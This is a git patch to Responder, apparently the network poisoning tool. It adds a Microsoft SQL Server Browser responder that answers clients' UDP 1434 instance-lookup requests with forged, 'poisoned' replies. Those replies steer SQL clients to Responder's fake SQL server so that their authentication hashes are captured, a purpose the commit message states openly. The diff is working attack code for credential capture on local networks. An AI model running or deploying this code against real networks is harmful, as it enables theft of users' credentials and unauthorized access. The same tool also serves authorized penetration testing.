From bff935e71ea401a4477004022623b1617ac090b3 Mon Sep 17 00:00:00 2001
From: Matthew Daley <mattd@bugfuzz.com>
Date: Fri, 23 Jun 2017 19:15:16 +1200
Subject: [PATCH] Add Microsoft SQL Server Browser responder

When connecting to a named instance, a SQL client (at least SQL Server
Native Client) will send a request (namely a CLNT_UCAST_INST message) to
the server's SQL Server Browser service for instance connection
information. If it gets no response, the connection attempt fails.

By adding a SQL Server Browser responder for these requests, we ensure
that connections are successfully made to the SQL Server responder for
hash capture.

As per the comment, this is based on the document "[MC-SQLR]: SQL Server
Resolution Protocol", currently available at
<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
---
 Responder.py     |  3 ++-
 servers/MSSQL.py | 30 ++++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+), 1 deletion(-)

diff --git a/Responder.py b/Responder.py
index 9af8d86..ca3e5d7 100755
--- a/Responder.py
+++ b/Responder.py
@@ -268,8 +268,9 @@ def main():
 			threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
 
 		if settings.Config.SQL_On_Off:
-			from servers.MSSQL import MSSQL
+			from servers.MSSQL import MSSQL, MSSQLBrowser
 			threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
+			threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
 
 		if settings.Config.FTP_On_Off:
 			from servers.FTP import FTP
diff --git a/servers/MSSQL.py b/servers/MSSQL.py
index 3f196f3..1d53231 100644
--- a/servers/MSSQL.py
+++ b/servers/MSSQL.py
@@ -17,6 +17,7 @@
 from SocketServer import BaseRequestHandler
 from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
 from utils import *
+import random
 import struct
 
 class TDS_Login_Packet:
@@ -149,3 +150,32 @@ class MSSQL(BaseRequestHandler):
 		except:
 			self.request.close()
                         pass
+
+# MSSQL Server Browser class
+# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
+class MSSQLBrowser(BaseRequestHandler):
+	def handle(self):
+		if settings.Config.Verbose:
+			print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
+
+		data, soc = self.request
+
+		if data:
+			if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
+				self.send_response(soc, "MSSQLSERVER")
+			elif data[0] == "\x04": # CLNT_UCAST_INST
+				self.send_response(soc, data[1:].rstrip("\x00"))
+			elif data[0] == "\x0F": # CLNT_UCAST_DAC
+				self.send_dac_response(soc)
+
+	def send_response(self, soc, inst):
+		print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
+
+		server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
+		resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
+		soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
+
+	def send_dac_response(self, soc):
+		print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
+
+		soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)